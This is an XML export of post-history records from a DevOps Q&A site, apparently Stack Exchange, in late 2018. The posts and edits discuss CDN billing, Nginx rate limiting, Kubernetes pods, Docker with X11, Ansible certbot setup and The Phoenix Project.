plans&#xD;&#xA;&#xD;&#xA;There are different ways you can go about billing folks, but common choices are:&#xD;&#xA;&#xD;&#xA;* create tiers so that the first megabyte is $X/byte and the next gigabyte is a little cheaper per byte and so on&#xD;&#xA;* give everyone a quota for a fixed fee or call it &quot;free&quot; within a broader service.  Then charge for going over the quota at a reasonable rate." ContentLicense="CC BY-SA 4.0" />
  <row Id="16869" PostHistoryTypeId="50" PostId="4968" RevisionGUID="ad0d8004-14f8-4361-9dae-9e6734e119bb" CreationDate="2018-11-02T23:00:03.810" UserId="-1" />
  <row Id="16870" PostHistoryTypeId="50" PostId="4482" RevisionGUID="839e1f94-2249-4461-873f-8fdaf05a4b2d" CreationDate="2018-11-03T00:00:00.137" UserId="-1" />
  <row Id="16872" PostHistoryTypeId="50" PostId="5104" RevisionGUID="3331c9a9-436b-4b9a-9778-43b3e9af9ad9" CreationDate="2018-11-03T05:00:33.240" UserId="-1" />
  <row Id="16873" PostHistoryTypeId="50" PostId="4106" RevisionGUID="f82c1e94-629e-498d-928c-666577e55a48" CreationDate="2018-11-03T08:01:08.290" UserId="-1" />
  <row Id="16874" PostHistoryTypeId="6" PostId="5319" RevisionGUID="e7864552-729e-4e43-893b-35b4f4897022" CreationDate="2018-11-03T09:54:05.427" UserId="739" Comment="add/create CDN tag" Text="&lt;billing&gt;&lt;cdn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16875" PostHistoryTypeId="24" PostId="5319" RevisionGUID="e7864552-729e-4e43-893b-35b4f4897022" CreationDate="2018-11-03T09:54:05.427" Comment="Proposed by 739 approved by -1 edit id of 831" ContentLicense="CC BY-SA 4.0" />
  <row Id="16876" PostHistoryTypeId="5" PostId="5319" RevisionGUID="b2e420cd-2a5a-4914-bcff-8ee1ca35787f" CreationDate="2018-11-03T09:54:05.427" UserId="40" Comment="Remove the spammy-part of this question" Text="My clients have the ability to download pictures I uploaded to a CDN network.&#xD;&#xA;The CDN network is a PaaS service I found online.&#xD;&#xA;&#xD;&#xA;I want to be able to distinguish between clients who download those pictures, so I can bill them by their usage.&#xD;&#xA;&#xD;&#xA;Does anyone know such CDN service, that allows to bill (or at least measure) the clients of their (the CDN's) users?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16877" PostHistoryTypeId="2" PostId="5321" RevisionGUID="eb9d0f20-7849-4d83-a2f8-4520524515be" CreationDate="2018-11-03T12:27:08.263" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16878" PostHistoryTypeId="1" PostId="5321" RevisionGUID="eb9d0f20-7849-4d83-a2f8-4520524515be" CreationDate="2018-11-03T12:27:08.263" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16879" PostHistoryTypeId="2" PostId="5322" RevisionGUID="01f1903d-f911-4aa3-a73b-ebc491154677" CreationDate="2018-11-03T12:27:08.263" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16880" PostHistoryTypeId="1" PostId="5322" RevisionGUID="01f1903d-f911-4aa3-a73b-ebc491154677" CreationDate="2018-11-03T12:27:08.263" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16881" PostHistoryTypeId="6" PostId="3557" RevisionGUID="c7651eb3-cde5-462c-8575-e01cefcbe808" CreationDate="2018-11-03T14:53:00.547" UserId="739" Comment="add cdn tag" Text="&lt;environments&gt;&lt;cdn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16882" PostHistoryTypeId="24" PostId="3557" RevisionGUID="c7651eb3-cde5-462c-8575-e01cefcbe808" CreationDate="2018-11-03T14:53:00.547" Comment="Proposed by 739 approved by -1 edit id of 833" ContentLicense="CC BY-SA 4.0" />
  <row Id="16883" PostHistoryTypeId="5" PostId="3557" RevisionGUID="4eea2d88-cb3d-4e05-9350-cf3646f480a3" CreationDate="2018-11-03T14:53:00.547" UserId="40" Comment="edited body; edited title" Text="We have had problems a couple times now where the links to the CDN in our components don't get properly updated between the team, QA, and staging environments.&#xD;&#xA;&#xD;&#xA;Is there a way to force an error if the QA environment tries to access the team CDN or vice-versa? Or some other well-known solution to this problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16884" PostHistoryTypeId="4" PostId="3557" RevisionGUID="4eea2d88-cb3d-4e05-9350-cf3646f480a3" CreationDate="2018-11-03T14:53:00.547" UserId="40" Comment="edited body; edited title" Text="What's the best way to restrict an environment to a specific CDN?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16885" PostHistoryTypeId="6" PostId="1426" RevisionGUID="196dd09e-b2b6-4a87-af6f-5b508a2b0b24" CreationDate="2018-11-03T14:53:45.827" UserId="739" Comment="add artifacts tag" Text="&lt;release-management&gt;&lt;artifacts&gt;&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16886" PostHistoryTypeId="24" PostId="1426" RevisionGUID="196dd09e-b2b6-4a87-af6f-5b508a2b0b24" CreationDate="2018-11-03T14:53:45.827" Comment="Proposed by 739 approved by 707, 40 edit id of 836" ContentLicense="CC BY-SA 4.0" />
  <row Id="16889" PostHistoryTypeId="50" PostId="4695" RevisionGUID="ff6a44ba-7d05-4d37-bb57-6cd1cafd30ed" CreationDate="2018-11-03T15:00:32.317" UserId="-1" />
  <row Id="16890" PostHistoryTypeId="2" PostId="5323" RevisionGUID="4559cd7c-9989-4941-92b0-c656118e4ae1" CreationDate="2018-11-03T15:39:45.137" UserId="10650" Text="Few questions here: a) What does the concept of object Pod satisfy? A paused container containing the namespace for the actual app area (s) will be added later and use that namespace. So what activities in real life qualify to have more than one container running in a pod? Can you give examples of points? What is considered sidecar operation after all?&#xD;&#xA;&#xD;&#xA;b) What is the threshold, for example: N container in the Pod that the master will be able to say that Pod is not healthy? So basically, how many containers in a pod need to down to the POD mark down?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16891" PostHistoryTypeId="1" PostId="5323" RevisionGUID="4559cd7c-9989-4941-92b0-c656118e4ae1" CreationDate="2018-11-03T15:39:45.137" UserId="10650" Text="Pod &amp; pod's health" ContentLicense="CC BY-SA 4.0" />
  <row Id="16892" PostHistoryTypeId="3" PostId="5323" RevisionGUID="4559cd7c-9989-4941-92b0-c656118e4ae1" CreationDate="2018-11-03T15:39:45.137" UserId="10650" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16894" PostHistoryTypeId="5" PostId="5294" RevisionGUID="9c3bce4e-bb67-499e-95c3-5f4bc67afa29" CreationDate="2018-11-03T17:59:27.977" UserId="354" Comment="Added a specific solution" Text="Given that this is symptomatic of rate limiting in Nginx in this case, the solution is to configure the [rate limiting feature of Nginx to allow this](https://www.nginx.com/blog/rate-limiting-nginx/)&#xD;&#xA;&#xD;&#xA;A whitelist could  be created in the configuration to remove ratelimiting from the url generating the traffic.&#xD;&#xA;&#xD;&#xA;To follow the [Nginx documentation](https://docs.nginx.com/nginx/admin-guide/security-controls/controlling-access-proxied-http/#limiting-the-request-rate), this could be specified as whitelisting an IP.&#xD;&#xA;&#xD;&#xA;The current server setup is : &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    limit_req_zone $binary_remote_addr zone=flood:10m rate=12r/s;&#xD;&#xA;    limit_req_zone $binary_remote_addr zone=bot:10m rate=200r/m;&#xD;&#xA;    limit_req_status 429;&#xD;&#xA;    limit_conn_zone $binary_remote_addr zone=connperip:10m;&#xD;&#xA;    limit_conn_status 429;&#xD;&#xA;&#xD;&#xA;This sets up the rate limit on connections. A whitelist can be created as suggested above, by simulating a boolean condition with a key value map:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    geo $limit {&#xD;&#xA;        default 1;&#xD;&#xA;        10.0.0.0/8 0;&#xD;&#xA;        192.168.0.0/24 0;&#xD;&#xA;    }&#xD;&#xA; &#xD;&#xA;    map $limit $limit_key {&#xD;&#xA;        0 &quot;&quot;;&#xD;&#xA;        1 $binary_remote_addr;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This removes the rate limit (sets it to 0) if the remote address falls into the whitelist:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;    limit_req_zone $limit_key zone=req_zone:10m rate=5r/s;&#xD;&#xA; &#xD;&#xA;    server {&#xD;&#xA;        location / {&#xD;&#xA;            limit_req zone=req_zone burst=10 nodelay;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16895" PostHistoryTypeId="2" PostId="5324" RevisionGUID="615ef817-61fa-451f-9e1f-5b91041ff1ba" CreationDate="2018-11-03T19:22:28.303" UserId="10652" Text="All of them would have to be up for the pod to be completely up. Instead of running multiple processes within the same container, use sidecar containers. For now they share network namespace and emptyDir filesystem, but not pid namespace (pid namespace sharing is available in beta, https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/).&#xD;&#xA;&#xD;&#xA;A typical sidecar use case is utility containers. What I commonly see it one for logging, such as a splunk forwarder or syslog daemon. &#xD;&#xA;&#xD;&#xA;There's also those that setup an app stack as a Deployment (which materializes in one or more replicas of a pod), instead of multiple deployments. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16896" PostHistoryTypeId="50" PostId="3575" RevisionGUID="b51ff3d4-ca85-48a3-827e-c9f4095a17b7" CreationDate="2018-11-03T23:00:30.590" UserId="-1" />
  <row Id="16898" PostHistoryTypeId="2" PostId="5325" RevisionGUID="5af1bed5-feb5-4640-b4f3-c77af8723466" CreationDate="2018-11-04T02:24:13.483" UserId="10656" Text="What I mean, is that I can simply run a command or download a .zip file that results in having a Dockerfile with the whole development environment baked in and includes not just Flask and MySQL set up, but some sort of sample nontrivial web application that already has tables made for users, posts, and that standard sort of content, along with the Python etc. code to go along with it.  This would be like cloning a demo Python/Flask app from git, except it comes with a Dockerfile that configures the database, creates database users and tables, etc.  A Dockerfile for other developers.  Advice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16899" PostHistoryTypeId="1" PostId="5325" RevisionGUID="5af1bed5-feb5-4640-b4f3-c77af8723466" CreationDate="2018-11-04T02:24:13.483" UserId="10656" Text="Where can I find a Dockerfile + required files to create a Flask/MySQL forum/webapp with users?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16900" PostHistoryTypeId="3" PostId="5325" RevisionGUID="5af1bed5-feb5-4640-b4f3-c77af8723466" CreationDate="2018-11-04T02:24:13.483" UserId="10656" Text="&lt;docker&gt;&lt;python&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16901" PostHistoryTypeId="2" PostId="5326" RevisionGUID="3d961fbb-bc30-47c0-bdac-ffb536597c4a" CreationDate="2018-11-04T03:49:14.177" UserId="47" Text="In your [deployment project configuration][1] for each environment you could [add a task][2] prior to the actual deployment which would take care of setting up the right configuration file. &#xD;&#xA;&#xD;&#xA;It could be a script simply copying/replacing the configuration file just as you currently do manually. The script could be invoked with some pre-configured argument to identify the environment or it could detect the environment via some environment variable configured for each the deployment, see [Additional deployment environment options][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bamboo/deployment-projects-338363438.html&#xD;&#xA;  [2]: https://confluence.atlassian.com/bamboo/a-sample-deployment-project-365658897.html#Asampledeploymentproject-Step4:Addsomeenvironmenttasks&#xD;&#xA;  [3]: https://confluence.atlassian.com/bamboo/a-sample-deployment-project-365658897.html#Asampledeploymentproject-Step7:Additionaldeploymentenvironmentoptions" ContentLicense="CC BY-SA 4.0" />
  <row Id="16903" PostHistoryTypeId="2" PostId="5327" RevisionGUID="f98e4d73-49d6-4efd-b176-e7cff42955a7" CreationDate="2018-11-04T11:05:06.883" UserId="354" Text="This question seems to be in two parts:&#xD;&#xA;&#xD;&#xA;  1. How to deploy a flask+database app in Docker?&#xD;&#xA;  1. Is there a non-trivial application to use as example? &#xD;&#xA;&#xD;&#xA;The second part is difficult to answer, it will depend on what you consider a good example. However, an example app with the features that you want can be deployed in several ways, and will work the same if it is in Docker or otherwise.&#xD;&#xA;&#xD;&#xA;The [Docker Labs flask example](https://github.com/docker/labs/tree/master/beginner/flask-app) contains a basic example of how to deploy a Flask app in a Docker container. &#xD;&#xA;&#xD;&#xA;Something more appropriate to what you are looking for though is the combination of web app and backing database. For this you likely want [Docker-Compose](https://docs.docker.com/compose/) - specifically the [example of Docker Compose for a Django and postgresql app](https://docs.docker.com/compose/django/#connect-the-database)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16905" PostHistoryTypeId="5" PostId="4609" RevisionGUID="f78d0269-80d6-4bd8-abd0-ee7858a6fd7b" CreationDate="2018-11-04T13:49:52.273" UserId="354" Comment="re-worded the question" Text="As I am new to atifactory, so wanted to know if I can do the below:&#xD;&#xA;&#xD;&#xA;How do I upload a directory structure containing many different binaries -- keeping the structure intact -- to an artifactory? " ContentLicense="CC BY-SA 4.0" />
  <row Id="16906" PostHistoryTypeId="4" PostId="4609" RevisionGUID="f78d0269-80d6-4bd8-abd0-ee7858a6fd7b" CreationDate="2018-11-04T13:49:52.273" UserId="354" Comment="re-worded the question" Text="Directory structure - how do I upload it as-is to an artifactory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16907" PostHistoryTypeId="24" PostId="4609" RevisionGUID="f78d0269-80d6-4bd8-abd0-ee7858a6fd7b" CreationDate="2018-11-04T13:49:52.273" Comment="Proposed by 354 approved by -1 edit id of 838" ContentLicense="CC BY-SA 4.0" />
  <row Id="16908" PostHistoryTypeId="5" PostId="4609" RevisionGUID="d0b1acb6-5288-4fa2-b23e-a6018839df1e" CreationDate="2018-11-04T13:49:52.273" UserId="40" Comment="deleted 35 characters in body" Text="I am new to Artifactory, and I wonder how to upload a directory structure containing many different binaries -- keeping the structure intact -- to an artifactory? " ContentLicense="CC BY-SA 4.0" />
  <row Id="16909" PostHistoryTypeId="5" PostId="3711" RevisionGUID="56599b3b-5fb0-4cb8-9ca3-5fd830284398" CreationDate="2018-11-04T13:52:28.123" UserId="354" Comment="formatted the ansible snippet." Text="I currently have a doubt for my last line of code to make it work in ansible, the code is the following:&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    &#xD;&#xA;    sudo apt-get upgrade&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install apache2 python-letsencrypt-apache&#xD;&#xA;    &#xD;&#xA;    sudo letsencrypt --apache&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install python-software-properties&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install software-properties-common&#xD;&#xA;    &#xD;&#xA;    sudo add-apt-repository ppa:certbot/certbot&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install python-certbot-apache&#xD;&#xA;    &#xD;&#xA;    sudo certbot --webroot-path /var/www/html -d www.web.tk&#xD;&#xA;&#xD;&#xA;Now I would like to convert it to Ansible:&#xD;&#xA;&#xD;&#xA;    - apt_repository:&#xD;&#xA;        repo: 'ppa:certbot/certbot'&#xD;&#xA;&#xD;&#xA;    - apt:&#xD;&#xA;        name: &quot;{{ item }}&quot;&#xD;&#xA;        update_cache: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - all items above&#xD;&#xA;&#xD;&#xA;But I have a problem as the line:&#xD;&#xA;&#xD;&#xA;     sudo letsencrypt --apache&#xD;&#xA;&#xD;&#xA;Requires user interaction and I would like to give it the website and email from ansible inventory file" ContentLicense="CC BY-SA 4.0" />
  <row Id="16910" PostHistoryTypeId="24" PostId="3711" RevisionGUID="56599b3b-5fb0-4cb8-9ca3-5fd830284398" CreationDate="2018-11-04T13:52:28.123" Comment="Proposed by 354 approved by -1 edit id of 837" ContentLicense="CC BY-SA 4.0" />
  <row Id="16911" PostHistoryTypeId="5" PostId="3711" RevisionGUID="27675494-261e-412a-bd36-1b57187e51a0" CreationDate="2018-11-04T13:52:28.123" UserId="40" Comment="deleted 10 characters in body" Text="I currently have a doubt for my last line of code to make it work in Ansible, the code is the following:&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    &#xD;&#xA;    sudo apt-get upgrade&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install apache2 python-letsencrypt-apache&#xD;&#xA;    &#xD;&#xA;    sudo letsencrypt --apache&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install python-software-properties&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install software-properties-common&#xD;&#xA;    &#xD;&#xA;    sudo add-apt-repository ppa:certbot/certbot&#xD;&#xA;    &#xD;&#xA;    sudo apt-get install python-certbot-apache&#xD;&#xA;    &#xD;&#xA;    sudo certbot --webroot-path /var/www/html -d www.web.tk&#xD;&#xA;&#xD;&#xA;Now I would like to convert it to Ansible:&#xD;&#xA;&#xD;&#xA;    - apt_repository:&#xD;&#xA;        repo: 'ppa:certbot/certbot'&#xD;&#xA;&#xD;&#xA;    - apt:&#xD;&#xA;        name: &quot;{{ item }}&quot;&#xD;&#xA;        update_cache: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - all items above&#xD;&#xA;&#xD;&#xA;But I have a problem as the line `sudo letsencrypt --apache` requires user interaction and I would like to give it the website and email from Ansible inventory file" ContentLicense="CC BY-SA 4.0" />
  <row Id="16915" PostHistoryTypeId="2" PostId="5329" RevisionGUID="58205564-4b34-42e3-8cb0-40b526c69e59" CreationDate="2018-11-05T08:32:01.100" UserId="9729" Text="I have recently been reading &quot;The Phoenix Project&quot;. &#xD;&#xA;While I can relate to most aspects of the story, I am strugling to understand the frequent references to the military background of many characters (e.g. Bill himself, Stefe, Erik, ...).&#xD;&#xA;&#xD;&#xA;Now I am wondering, whether this is intended to be part of the message of the book or not?&#xD;&#xA;I could imagine, that&#xD;&#xA;&#xD;&#xA; 1. the author is trying to imply that certain behaviours from the army should be *adopted in the workplace*,&#xD;&#xA; 2. resp. should be *avoided in the workplace*,&#xD;&#xA; 3. this is just part of US culture and the normal case for many employees / managers&#xD;&#xA; 4. this is story telling and just trying to give some depth to the characters whitout a specific message?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16916" PostHistoryTypeId="1" PostId="5329" RevisionGUID="58205564-4b34-42e3-8cb0-40b526c69e59" CreationDate="2018-11-05T08:32:01.100" UserId="9729" Text="The Phoenix Project and Military service" ContentLicense="CC BY-SA 4.0" />
  <row Id="16917" PostHistoryTypeId="3" PostId="5329" RevisionGUID="58205564-4b34-42e3-8cb0-40b526c69e59" CreationDate="2018-11-05T08:32:01.100" UserId="9729" Text="&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16918" PostHistoryTypeId="2" PostId="5330" RevisionGUID="51bbd3e2-f0c2-4e5c-8e99-c157cd98965e" CreationDate="2018-11-05T10:02:49.703" UserId="10670" Text="In this **first section** I detail some of the terms I have used:&#xD;&#xA;&#xD;&#xA;**Dockerized graphical applications**: A Docker container run from a Docker image which runs an application which (traditionally) uses x11 (or similar) to display the application on the host machine. More details in second section.&#xD;&#xA;&#xD;&#xA;**packages required for display remotely on clients**: For example, a VNC server which allows a user of a local client (e.g. a laptop with desktop Ubuntu 18.04 installed) to navigate through the browser to an particular host-name and port.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In this **second section** I give an example of the usual way to run a Dockerized application, using gedit as an example: &#xD;&#xA;&#xD;&#xA;Example Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y gedit&#xD;&#xA;    CMD gedit&#xD;&#xA;&#xD;&#xA;Example Docker build command:&#xD;&#xA;&#xD;&#xA;    docker build -t gedit:latest .&#xD;&#xA;&#xD;&#xA;Example Docker run command:&#xD;&#xA;&#xD;&#xA;    xhost +local:docker; docker run --rm --name=gedit -e DISPLAY=$DISPLAY -v /tmp/.X11-unix/:/tmp/.X11-unix gedit:latest&#xD;&#xA;&#xD;&#xA;Sub-question / curiosity: The above installs x11, etc into the image. Is there any way to have a separate image with all of those dependencies and have multiple containers share folders in order to satisfy the x11 dependencies?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In this **third section** I detail an example in which my question is relevant:&#xD;&#xA;&#xD;&#xA;I want to keep the Dockerized app as explained in section 2, which runs well locally on a client's laptop but have it as part of a cluster of docker containers (using docker-compose for example) so that the image built from the dockerfile in section 2 is unmodified.&#xD;&#xA;&#xD;&#xA;I want to include an additional container which has all the VNC and x11 packages required so that the client can run the application remotely. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Which mechanisms allow the above to take place?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="16919" PostHistoryTypeId="1" PostId="5330" RevisionGUID="51bbd3e2-f0c2-4e5c-8e99-c157cd98965e" CreationDate="2018-11-05T10:02:49.703" UserId="10670" Text="How to run Dockerized graphical applications on a headless server with packages required for display remotely on clients as part of a separate image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16920" PostHistoryTypeId="3" PostId="5330" RevisionGUID="51bbd3e2-f0c2-4e5c-8e99-c157cd98965e" CreationDate="2018-11-05T10:02:49.703" UserId="10670" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16921" PostHistoryTypeId="2" PostId="5331" RevisionGUID="b5d87a28-4cf2-486f-99a2-e6e8f270595c" CreationDate="2018-11-05T10:04:58.907" UserId="10671" Text="I have a question about rancher. I'm running my rancher on aws. I have created a new cluster with two nodes (workers) and I have deployed my docker images. Now I wanted to add Load Balancer, but I don't want to use xip.io domain but my own. I added my domain to route 53 and I wanted to make redirection from api.mydomain.com to Load Balancer. So, I added in route 53 new record and I used IP of my ec2 machine (I checked where the load balancer has been deployed in rancher)&#xD;&#xA;&#xD;&#xA;The question is: What if I will want to change my nodes? My domain will stop working because I'm using the ip of ec2 machine. How should I point dns to my LB correctly (because I'm thinking that using the ip of ec2 machine is a not correct solution)." ContentLicense="CC BY-SA 4.0" />
  <row Id="16922" PostHistoryTypeId="1" PostId="5331" RevisionGUID="b5d87a28-4cf2-486f-99a2-e6e8f270595c" CreationDate="2018-11-05T10:04:58.907" UserId="10671" Text="Rancher, Load Balancing and own domain" ContentLicense="CC BY-SA 4.0" />
  <row Id="16923" PostHistoryTypeId="3" PostId="5331" RevisionGUID="b5d87a28-4cf2-486f-99a2-e6e8f270595c" CreationDate="2018-11-05T10:04:58.907" UserId="10671" Text="&lt;amazon-web-services&gt;&lt;rancher&gt;&lt;dns&gt;&lt;ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16924" PostHistoryTypeId="5" PostId="5330" RevisionGUID="4563d6df-fab4-4275-8ed5-502a0569ab18" CreationDate="2018-11-05T10:24:47.370" UserId="10670" Comment="xhost +local:docker can potentially be a harmful command, use with caution" Text="In this **first section** I detail some of the terms I have used:&#xD;&#xA;&#xD;&#xA;**Dockerized graphical applications**: A Docker container run from a Docker image which runs an application which (traditionally) uses x11 (or similar) to display the application on the host machine. More details in second section.&#xD;&#xA;&#xD;&#xA;**packages required for display remotely on clients**: For example, a VNC server which allows a user of a local client (e.g. a laptop with desktop Ubuntu 18.04 installed) to navigate through the browser to an particular host-name and port.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In this **second section** I give an example of the usual way to run a Dockerized application, using gedit as an example: &#xD;&#xA;&#xD;&#xA;Example Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y gedit&#xD;&#xA;    CMD gedit&#xD;&#xA;&#xD;&#xA;Example Docker build command:&#xD;&#xA;&#xD;&#xA;    docker build -t gedit:latest .&#xD;&#xA;&#xD;&#xA;Example Docker run command:&#xD;&#xA;&#xD;&#xA;Once-off (can potentially be a harmful command, use with caution):&#xD;&#xA;&#xD;&#xA;    xhost +local:docker&#xD;&#xA;&#xD;&#xA;Subsequently:&#xD;&#xA;&#xD;&#xA;    docker run --rm --name=gedit -e DISPLAY=$DISPLAY -v /tmp/.X11-unix/:/tmp/.X11-unix gedit:latest&#xD;&#xA;&#xD;&#xA;Please note: There are some security concerns running `xhost +local:docker` so to reverse this run `xhost -local:docker`&#xD;&#xA;&#xD;&#xA;Sub-question / curiosity: The above installs x11, etc into the image. Is there any way to have a separate image with all of those dependencies and have multiple containers share folders in order to satisfy the x11 dependencies?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In this **third section** I detail an example in which my question is relevant:&#xD;&#xA;&#xD;&#xA;I want to keep the Dockerized app as explained in section 2, which runs well locally on a client's laptop but have it as part of a cluster of docker containers (using docker-compose for example) so that the image built from the dockerfile in section 2 is unmodified.&#xD;&#xA;&#xD;&#xA;I want to include an additional container which has all the VNC and x11 packages required so that the client can run the application remotely. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Which mechanisms allow the above to take place?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="16925" PostHistoryTypeId="2" PostId="5332" RevisionGUID="80d13364-92e6-49e0-8e9b-846d8f6550b7" CreationDate="2018-11-05T10:32:59.480" UserId="13" Text="You can't run a program running on x11 without a x11 buffer somewhere, be it vnc, xvfb or whatever, you'll always need x11 librairies on the system running the program or it couldn't work at all. That's as willing to run a C program without libc on the system. &#xD;&#xA;&#xD;&#xA;Using another system libraries with a volume is a bad idea as it create a hard dependency on both containers using the same libraries and is likely to crash somewhere when both systems try to acquire a lock on the library to load it.&#xD;&#xA;&#xD;&#xA;I assume with a lot of tweaks it should be doable, but the added complexity is a real footgun and create more dependencies than it should exists." ContentLicense="CC BY-SA 4.0" />
  <row Id="16927" PostHistoryTypeId="5" PostId="5329" RevisionGUID="36f50f13-6c62-41a8-8759-92bf9e597801" CreationDate="2018-11-05T12:23:28.063" UserId="9729" Comment="Trying to be provoke less opinion based answers." Text="I have recently been reading &quot;The Phoenix Project&quot;. &#xD;&#xA;While I can relate to most aspects of the story, I am strugling to understand the frequent references to the military background of many characters (e.g. Bill himself, Stefe, Erik, ...).&#xD;&#xA;&#xD;&#xA;Since I am not familiar with US culture and army in particular, I am pondering 2 questions:&#xD;&#xA;&#xD;&#xA;**Question 1:**&#xD;&#xA;Are these reference to the army background an essential part of the message of the book or just story-telling (e.g. trying to give some depth to the characters by telling their history)?&#xD;&#xA;&#xD;&#xA;**Question 2:**&#xD;&#xA;If an essential part, how does the way the US army organises its operations relate with a DevOps culture? Should it be *embraced* or *avoided* in the workplace?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16928" PostHistoryTypeId="5" PostId="5332" RevisionGUID="00f78590-ee82-41e5-a6e7-a621aff5f3b1" CreationDate="2018-11-05T13:28:03.023" UserId="354" Comment="Re-worded the text slightly and added a link to the footgun." Text="You can't run a program running on x11 without a x11 buffer somewhere, be it vnc, xvfb or whatever. You will always need x11 libraries on the system running the program or it couldn't work at all. That's akin to  trying to run a C program without libc on the system. &#xD;&#xA;&#xD;&#xA;Using system libraries from a different container with a volume is a bad idea, as it create a hard dependency on both containers using the same libraries, and is likely to crash somewhere when both systems try to acquire a lock on the library to load it.&#xD;&#xA;&#xD;&#xA;I assume with a lot of tweaks it should be doable, but the added complexity is a real [footgun](https://www.urbandictionary.com/define.php?term=footgun) and create more dependencies than should exist." ContentLicense="CC BY-SA 4.0" />
  <row Id="16929" PostHistoryTypeId="24" PostId="5332" RevisionGUID="00f78590-ee82-41e5-a6e7-a621aff5f3b1" CreationDate="2018-11-05T13:28:03.023" Comment="Proposed by 354 approved by 13 edit id of 839" ContentLicense="CC BY-SA 4.0" />
  <row Id="16930" PostHistoryTypeId="5" PostId="5322" RevisionGUID="63cb49b3-4a98-4806-8885-2bab86fe3238" CreationDate="2018-11-05T13:28:12.627" UserId="739" Comment="added 79 characters in body" Text="Content Delivery Networks offload serving static content to a service provider." ContentLicense="CC BY-SA 4.0" />
  <row Id="16931" PostHistoryTypeId="24" PostId="5322" RevisionGUID="63cb49b3-4a98-4806-8885-2bab86fe3238" CreationDate="2018-11-05T13:28:12.627" Comment="Proposed by 739 approved by 40, 13 edit id of 835" ContentLicense="CC BY-SA 4.0" />
  <row Id="16932" PostHistoryTypeId="5" PostId="5321" RevisionGUID="26adfa80-0840-49cd-80af-07a76fa11716" CreationDate="2018-11-05T13:28:34.550" UserId="739" Comment="added 530 characters in body" Text="[Content Delivery Networks](https://en.wikipedia.org/wiki/Content_delivery_network) take care of serving static content as a SaaS provider.  Popular commercial offerings include [Akamai](https://www.akamai.com/), [Cloudflare](https://www.cloudflare.com/), [AWS Cloudfront](https://en.wikipedia.org/wiki/Amazon_CloudFront), and [Limelight Networks](https://www.limelight.com/).  Free software projects can get free CDN services from [Fastly](https://www.fastly.com/open-source) and [KeyCDN](https://www.keycdn.com/open-source-cdn)." ContentLicense="CC BY-SA 4.0" />
  <row Id="16933" PostHistoryTypeId="24" PostId="5321" RevisionGUID="26adfa80-0840-49cd-80af-07a76fa11716" CreationDate="2018-11-05T13:28:34.550" Comment="Proposed by 739 approved by 40, 13 edit id of 834" ContentLicense="CC BY-SA 4.0" />
